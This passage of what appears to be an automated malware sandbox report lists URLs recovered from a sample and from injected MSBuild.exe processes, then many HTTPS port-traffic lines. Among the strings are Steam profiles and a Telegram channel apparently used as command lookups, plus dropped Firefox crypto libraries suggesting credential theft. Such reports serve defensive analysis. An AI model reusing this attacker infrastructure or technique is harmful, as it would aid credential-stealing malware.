Source: KJKJKF.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: KJKJKF.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: GCGHCB.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: MSBuild.exe, 00000009.00000002.2173304288.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/nN
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: MSBuild.exe, 00000009.00000002.2173304288.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: file.exe, file.exe, 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f
Source: MSBuild.exe, 00000009.00000002.2173304288.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: IJKJDA.1.dr	String found in binary or memory: https://support.mozilla.org
Source: IJKJDA.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IJKJDA.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: MSBuild.exe, 00000001.00000002.2485877933.0000000017A9A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmp, CAAKKF.1.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: CAAKKF.1.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: MSBuild.exe, 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: MSBuild.exe, 00000001.00000002.2485877933.0000000017A9A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmp, CAAKKF.1.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: CAAKKF.1.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: MSBuild.exe, 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: file.exe, file.exe, 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5ed
Source: file.exe, 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5edu55uhttps://steamcommunity.com/profiles/76561199780418869sql.dllsqlp.dllMozilla/5.
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2481607551.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, GCGHCB.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: KJKJKF.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr	String found in binary or memory: https://www.entrust.net/rpa0
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2481607551.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, GCGHCB.1.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: KJKJKF.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: IJKJDA.1.dr	String found in binary or memory: https://www.mozilla.org
Source: MSBuild.exe, 00000001.00000002.2485877933.0000000017A9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: IJKJDA.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: MSBuild.exe, 00000001.00000002.2485877933.0000000017A9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: IJKJDA.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: MSBuild.exe, 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2485877933.0000000017A9A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: IJKJDA.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: MSBuild.exe, 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: IJKJDA.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: MSBuild.exe, 00000001.00000002.2485877933.0000000017A9A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: MSBuild.exe, 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: IJKJDA.1.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 57141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57247
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57248
Source: unknown	Network traffic detected: HTTP traffic on port 57106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57249
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57129
Source: unknown	Network traffic detected: HTTP traffic on port 57129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57136
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57250
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57253
Source: unknown	Network traffic detected: HTTP traffic on port 57209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57259
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57023
Source: unknown	Network traffic detected: HTTP traffic on port 57095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57147
Source: unknown	Network traffic detected: HTTP traffic on port 57152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57268
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57140
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57262
Source: unknown	Network traffic detected: HTTP traffic on port 57026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57143
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57260
Source: unknown	Network traffic detected: HTTP traffic on port 57244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57148
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57269
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57034
Source: unknown	Network traffic detected: HTTP traffic on port 57130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57156
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57036
Source: unknown	Network traffic detected: HTTP traffic on port 57096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57037
Source: unknown	Network traffic detected: HTTP traffic on port 57153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57158
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57279
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57151
Source: unknown	Network traffic detected: HTTP traffic on port 57210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57272
Source: unknown	Network traffic detected: HTTP traffic on port 57048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57031
Source: unknown	Network traffic detected: HTTP traffic on port 57025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57152
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57275
Source: unknown	Network traffic detected: HTTP traffic on port 57243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57150
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57271
Source: unknown	Network traffic detected: HTTP traffic on port 57186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57159
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57039
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57045
Source: unknown	Network traffic detected: HTTP traffic on port 57105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57162
Source: unknown	Network traffic detected: HTTP traffic on port 57175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57283
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57284
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57285
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57286
Source: unknown	Network traffic detected: HTTP traffic on port 57280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57280
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57160
Source: unknown	Network traffic detected: HTTP traffic on port 57221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57281
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57161
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57282
Source: unknown	Network traffic detected: HTTP traffic on port 57139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57207
Source: unknown	Network traffic detected: HTTP traffic on port 57197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57209
Source: unknown	Network traffic detected: HTTP traffic on port 57277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57210
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57211
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57212
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57213
Source: unknown	Network traffic detected: HTTP traffic on port 57174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57218
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57219
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57214
Source: unknown	Network traffic detected: HTTP traffic on port 57234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57216
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57217
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57221
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57222
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57103
Source: unknown	Network traffic detected: HTTP traffic on port 57128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57224
Source: unknown	Network traffic detected: HTTP traffic on port 57074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57220
Source: unknown	Network traffic detected: HTTP traffic on port 57200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57229
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57109
Source: unknown	Network traffic detected: HTTP traffic on port 57256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57226
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57227
Source: unknown	Network traffic detected: HTTP traffic on port 57233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57228
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57232
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57234
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57235
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57230
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57231
Source: unknown	Network traffic detected: HTTP traffic on port 57035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57119
Source: unknown	Network traffic detected: HTTP traffic on port 57052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57236
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57116
Source: unknown	Network traffic detected: HTTP traffic on port 57140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57239
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57125
Source: unknown	Network traffic detected: HTTP traffic on port 57211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57246
Source: unknown	Network traffic detected: HTTP traffic on port 57024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57240
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57241
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57242
Source: unknown	Network traffic detected: HTTP traffic on port 57267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57287 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57099
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57093
Source: unknown	Network traffic detected: HTTP traffic on port 57075 -> 443
